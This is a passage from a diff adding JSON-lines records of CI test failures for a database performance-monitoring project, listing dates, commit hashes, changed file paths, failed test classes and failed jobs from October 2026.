s","Darling/PerformanceMonitor.Darling.Storage/ServerTagCoverage.cs","Darling/PerformanceMonitor.Darling.Storage/ServerTagRules.cs","Darling/PerformanceMonitor.Darling.Storage/ServerTagStore.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.Tags.cs","Darling/PerformanceMonitor.Darling.Viewer/ManageTagsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerTags.cs","Darling/tools/provision-roles.sql","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","PerformanceMonitor.Common/TagColours.cs","PerformanceMonitor.Ui/TagColorPalette.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.LivePlanShapeIsolationCensusTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-04","head_sha":"bf388bec5970751d91fcd835723b546464c50241","event":"pull_request","changed_files":["Darling/Darling.Tests/WebWaitStatsMultiSelectBehaviourTests.cs","Darling/Darling.Tests/web-kept-history-harness.mjs","Darling/Darling.Tests/web-memory-pressure-harness.mjs","Darling/Darling.Tests/web-perfmon-harness.mjs","Darling/Darling.Tests/web-waits-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.QueryStoreTopDailyRungTests","PerformanceMonitorLite.Tests.BaselineDiscontinuityRenderCensusTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)","Lite tests (1)","build"]}
+{"date":"2026-10-04","head_sha":"3e1f8d1ef99ecc64540d515182acd371294c46ce","event":"pull_request","changed_files":["Darling/Darling.Tests/WebPageRefreshIntervalBehaviourTests.cs","Darling/Darling.Tests/web-page-refresh-harness.mjs","Darling/Darling.Tests/web-scheduler-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-control.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-policy.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["Darling PG tests (2)","build","Darling whole-tree guards"]}
+{"date":"2026-10-05","head_sha":"87e78aa474eb4b31f2d5a4687ec5ddcb9224cb6b","event":"pull_request","changed_files":["Darling/Darling.Tests/WebPerfmonMultiSelectBehaviourTests.cs","Darling/Darling.Tests/WebPerfmonPerSecondBehaviourTests.cs","Darling/Darling.Tests/web-perfmon-multi-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Lite.Tests/BaselineDiscontinuityRenderCensusTests.cs"],"failed_classes":["Darling.Tests.ViewerEventDataStartTests","PerformanceMonitorLite.Tests.DataStartBannerProbeFailureTests"],"failed_jobs":["build","Lite tests (0)","Darling PG tests (1)"]}
+{"date":"2026-10-05","head_sha":"68f25798ce23de98af66a942062faa1f3b529e39","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/TopQueriesDetailLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs","Darling/Darling.Tests/WebServerPageRangeTests.cs","Darling/Darling.Tests/WebTopQueriesColumnsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"],"failed_classes":["Darling.Tests.SeparatelyMonitoredListNoteTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-10-05","head_sha":"5fe6eddad2fda2e493b00813b349abe8f0832c49","event":"pull_request","changed_files":["Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs","Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs"],"failed_classes":["Darling.Tests.PayloadDigestPassThroughLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-05","head_sha":"183d90d1687521c78299aee6146f1b85d1962e7c","event":"pull_request","changed_files":["Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs","Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/ProcedureStatsCollector.cs"],"failed_classes":["Darling.Tests.DarlingMcpServerAdminToolsSurfaceTests","Darling.Tests.PayloadDigestPassThroughLiveTests","Darling.Tests.ServerAddViewerRoleLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-05","head_sha":"5b70a510603dce2afddd475de67d2aa9ac6d11f6","event":"pull_request","changed_files":["Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs","Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs"],"failed_classes":["Darling.Tests.PayloadDigestPassThroughLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-05","head_sha":"956e5deff20766d7de24eca089e94f79c4bf64ab","event":"pull_request","changed_files":["Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs","Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/ProcedureStatsCollector.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-05","head_sha":"1acb3d71040f5820312bdbe66b21cd5bc829a504","event":"push","changed_files":["Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs","Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/ProcedureStatsCollector.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-05","head_sha":"c1063c5c89bd9deac5787722d46d649a87325ea5","event":"pull_request","changed_files":["Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs","Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PayloadDigestPassThroughLiveTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (0)"]}
+{"date":"2026-10-05","head_sha":"6743f8286b89a4314c3714acf7ab3ab874c8f056","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/SlowReadsRungTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/StoreStatementHistoryLiveTests.cs","Darling/Darling.Tests/StoreStatementHistoryRungTests.cs","Darling/Darling.Tests/StoreStatementHistoryTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreStatementHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-05","head_sha":"eba83d547adecc19bbb9b107aea17c76aca774ab","event":"pull_request","changed_files":[".github/scripts/lite-timing-top.py",".github/workflows/build.yml",".github/workflows/nightly.yml"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)","Darling whole-tree guards"]}
+{"date":"2026-10-05","head_sha":"99ad6aebf68c4d7cd0e1fd54f6bbea46a4303be0","event":"pull_request","changed_files":["Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs","Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs","Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PlanSync4512CancellationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-05","head_sha":"0b92d8248f506ee2accb62cf0ad2b3a6f0422ffb","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingBlockingStatsReadTests.cs","Darling/Darling.Tests/EffectiveStartUtcTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/PgEventToolsWindowFloorLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpWindowNotice.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PgServerLogTailRotationLiveTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)","Darling whole-tree guards"]}
+{"date":"2026-10-05","head_sha":"9de997ed48afc0d22a579dd989aaa3bb8d8a2a45","event":"pull_request","changed_files":[".github/ISSUE_TEMPLATE/bug_report.yml","Darling/Darling.Tests/BugReportTemplateDiagnosticsBundleTests.cs","Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs","Darling/Darling.Tests/DarlingCloudIdentityProbeTests.cs","Darling/Darling.Tests/DiagnosticsBundleAliasHardeningTests.cs","Darling/Darling.Tests/DiagnosticsBundleAliasTests.cs","Darling/Darling.Tests/DiagnosticsBundleExitCodeTests.cs","Darling/Darling.Tests/DiagnosticsBundleHardeningTests.cs","Darling/Darling.Tests/DiagnosticsBundleHealthUncutLiveTests.cs","Darling/Darling.Tests/DiagnosticsBundleLeakLiveTests.cs","Darling/Darling.Tests/DiagnosticsBundleRound2Tests.cs","Darling/Darling.Tests/DiagnosticsBundleSecretTests.cs","Darling/Darling.Tests/DiagnosticsBundleSeedFailureLiveTests.cs","Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs","Darling/Darling.Tests/DiagnosticsBundleSizeTests.cs","Darling/Darling.Tests/DiagnosticsBundleVerbTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs","Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DiagnosticsBundleRound2Tests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-05","head_sha":"bbba545e345592ca21ace8325c2a7b07f38d4195","event":"pull_request","changed_files":[".github/ISSUE_TEMPLATE/bug_report.yml","Darling/Darling.Tests/BugReportTemplateDiagnosticsBundleTests.cs","Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs","Darling/Darling.Tests/DarlingCloudIdentityProbeTests.cs","Darling/Darling.Tests/DiagnosticsBundleAliasHardeningTests.cs","Darling/Darling.Tests/DiagnosticsBundleAliasTests.cs","Darling/Darling.Tests/DiagnosticsBundleExitCodeTests.cs","Darling/Darling.Tests/DiagnosticsBundleHardeningTests.cs","Darling/Darling.Tests/DiagnosticsBundleHealthUncutLiveTests.cs","Darling/Darling.Tests/DiagnosticsBundleLeakLiveTests.cs","Darling/Darling.Tests/DiagnosticsBundleRound2Tests.cs","Darling/Darling.Tests/DiagnosticsBundleSecretTests.cs","Darling/Darling.Tests/DiagnosticsBundleSeedFailureLiveTests.cs","Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs","Darling/Darling.Tests/DiagnosticsBundleSizeTests.cs","Darling/Darling.Tests/DiagnosticsBundleVerbTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs","Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DiagnosticsBundleSecretTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-05","head_sha":"eca647c2f4eac3539062020a28181d7e29becb39","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs","Darling/Darling.Tests/DarlingExportViewerConfigTests.cs","Darling/Darling.Tests/FinOpsTabIndexAnalysisPageTests.cs","Darling/Darling.Tests/FinOpsTabRecommendationsPageTests.cs","Darling/Darling.Tests/FinOpsTabServerInventoryPageTests.cs","Darling/Darling.Tests/TestsNoSilentPassGuardTests.cs","Darling/Darling.Tests/WebCollectionHealthRunAtColumnTests.cs","Darling/Darling.Tests/WebDatabaseSizesNoteColumnTests.cs","Darling/Darling.Tests/WebModuleLoadTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.QueryStoreRegressionsToolTests","PerformanceMonitorLite.Tests.SignificantWaitsToolTests"],"failed_jobs":["Lite tests (3)","Lite tests (2)"]}
+{"date":"2026-10-05","head_sha":"48216212d0856c5343d6aed0c877f2df261b5ddd","event":"pull_request","changed_files":["Lite.Tests/DataStartBannerQueriesTabTests.cs","Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/McpWindowNoticeAggregateToolTests.cs","Lite.Tests/McpWindowNoticeConfigAndLogToolTests.cs","Lite.Tests/McpWindowNoticeEventToolTests.cs","Lite.Tests/McpWindowNoticeSystemHealthToolTests.cs","Lite.Tests/McpWindowNoticeToolTests.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite.Tests/SharedDuckDbFixture.cs"],"failed_classes":["Darling.Tests.PlanSync4512CancellationTests"],"failed_jobs":["build"]}
+{"date":"2026-10-05","head_sha":"b463460776890e2106577fb3c489717a7a6b6642","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingBlockingStatsReadTests.cs","Darling/Darling.Tests/DarlingCollectionLogReadTests.cs","Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs","Darling/Darling.Tests/DarlingMcpHealthParserToolsWindowNoticeTests.cs","Darling/Darling.Tests/DarlingQueryHeatmapTests.cs","Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs","Darling/Darling.Tests/DarlingSignificantWaitsReadTests.cs","Darling/Darling.Tests/EffectiveStartUtcTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Lite.Tests/CollectionLogToolTests.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite.Tests/McpWindowNoticeAggregateToolTests.cs","Lite.Tests/McpWindowNoticeConfigAndLogToolTests.cs","Lite.Tests/McpWindowNoticeSystemHealthToolTests.cs","Lite.Tests/McpWindowNoticeToolTests.cs","Lite.Tests/QueryStoreRegressionsToolTests.cs","Lite.Tests/SignificantWaitsToolTests.cs","Lite/Mcp/McpHealthParserTools.cs","Lite/Mcp/McpHealthTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpQueryTools.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.ComposeDataFloorLiveTests","Darling.Tests.ComposedPanelNoticeZoneTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-10-05","head_sha":"ffac2c1f8b01c5788f3326692e58e702216dfa80","event":"pull_request","changed_files":["Darling/Darling.Tests/PgPlanViewerBehaviourTests.cs","Darling/Darling.Tests/WebPgPlanViewerPageTests.cs","Darling/Darling.Tests/web-blocking-save-xml-harness.mjs","Darling/Darling.Tests/web-collection-caveats-harness.mjs","Darling/Darling.Tests/web-deadlock-processes-harness.mjs","Darling/Darling.Tests/web-kept-history-harness.mjs","Darling/Darling.Tests/web-memory-pressure-harness.mjs","Darling/Darling.Tests/web-perfmon-harness.mjs","Darling/Darling.Tests/web-perfmon-multi-harness.mjs","Darling/Darling.Tests/web-pg-plan-viewer-harness.mjs","Darling/Darling.Tests/web-server-trends-harness.mjs","Darling/Darling.Tests/web-waits-activity-trends-harness.mjs","Darling/Darling.Tests/web-waits-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/pg-plan-viewer.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"],"failed_classes":["Darling.Tests.ComposeDataFloorLiveTests","Darling.Tests.ComposedPanelNoticeZoneTests","Darling.Tests.WebCollectorRunHistoryTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"6ac72f860523f66d8e29944dc094fa58c9a779f9","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpQueryStoreHistoryToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/EffectiveStartUtcTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreHistoryTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PlanViewerBehaviourTests.cs","Darling/Darling.Tests/QueryStoreHistoryBehaviourTests.cs","Darling/Darling.Tests/QueryStoreHistoryLivePostgresTests.cs","Darling/Darling.Tests/QueryStoreHistoryPanelStateTests.cs","Darling/Darling.Tests/QueryStoreHistoryWideTierLiveTests.cs","Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs","Darling/Darling.Tests/WebPlanViewerPageTests.cs","Darling/Darling.Tests/WebQueryStoreHistoryColumnTests.cs","Darling/Darling.Tests/web-plan-viewer-harness.mjs","Darling/Darling.Tests/web-qs-history-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/query-store-history.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.StoreStatementStatsLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"7c4da8f91f653161036febf4b2d06ae4cd7ca776","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs","Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs","Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs","Darling/Darling.Tests/PgStatementTextFailureRecordingTests.cs","Darling/Darling.Tests/PgStatementTextHealthSemanticsTests.cs","Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs","Darling/Darling.Tests/SensitiveStatementCorpus.cs","Darling/Darling.Tests/SensitiveStatementsParityLiveTests.cs","Darling/Darling.Tests/SensitiveStatementsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs","Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs","PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs","PerformanceMonitor.Common/SensitiveStatements.Regex.cs","PerformanceMonitor.Common/SensitiveStatements.cs"],"failed_classes":["Darling.Tests.StoreStatementStatsLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"33932296ca375d2debf70fcc2d217ec3852336dd","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpQueryStoreHistoryToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/EffectiveStartUtcTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreHistoryTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PlanViewerBehaviourTests.cs","Darling/Darling.Tests/QueryStoreHistoryBehaviourTests.cs","Darling/Darling.Tests/QueryStoreHistoryLivePostgresTests.cs","Darling/Darling.Tests/QueryStoreHistoryPanelStateTests.cs","Darling/Darling.Tests/QueryStoreHistoryWideTierLiveTests.cs","Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs","Darling/Darling.Tests/WebPlanViewerPageTests.cs","Darling/Darling.Tests/WebQueryStoreHistoryColumnTests.cs","Darling/Darling.Tests/web-plan-viewer-harness.mjs","Darling/Darling.Tests/web-qs-history-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/query-store-history.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.StoreStatementStatsLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"fa3497bb39b888a14e575841191250e5ca4cfcb5","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs","Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs","Darling/Darling.Tests/TopRankingHourlyLiveTests.cs","Darling/Darling.Tests/TopRankingLiveTests.cs","Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs","Darling/Darling.Tests/TopRankingOnePassBaseline.cs","Darling/Darling.Tests/TopRankingPagePinTests.cs","Darling/Darling.Tests/TopRankingTests.cs","Darling/Darling.Tests/TopRankingTwoPassTests.cs","Darling/Darling.Tests/TopTextLookupFillTests.cs","Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs","Darling/Darling.Tests/TopTextTieBreakLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/Darling.Tests/WebTopProceduresColumnsTests.cs","Darling/Darling.Tests/WebTopQueriesColumnsTests.cs","Darling/Darling.Tests/top-ranking-notice-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Storage/TopFill.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Lite.Tests/TopListTotalOrderPinTests.cs","Lite.Tests/TopListWaitforRefillReaderTests.cs","Lite.Tests/TopTextTieBreakReaderTests.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryStore.cs","Lite/Services/TopFill.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.LivePlanShapeIsolationCensusTests","Darling.Tests.WebTopProceduresColumnsTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"3af3ade9ea1061fd96eca0b2ee1ece351efe17c3","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs","Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs","Darling/Darling.Tests/TopRankingHourlyLiveTests.cs","Darling/Darling.Tests/TopRankingLiveTests.cs","Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs","Darling/Darling.Tests/TopRankingOnePassBaseline.cs","Darling/Darling.Tests/TopRankingPagePinTests.cs","Darling/Darling.Tests/TopRankingTests.cs","Darling/Darling.Tests/TopRankingTwoPassTests.cs","Darling/Darling.Tests/TopTextLookupFillTests.cs","Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs","Darling/Darling.Tests/TopTextTieBreakLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/Darling.Tests/WebTopProceduresColumnsTests.cs","Darling/Darling.Tests/WebTopQueriesColumnsTests.cs","Darling/Darling.Tests/top-ranking-notice-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingW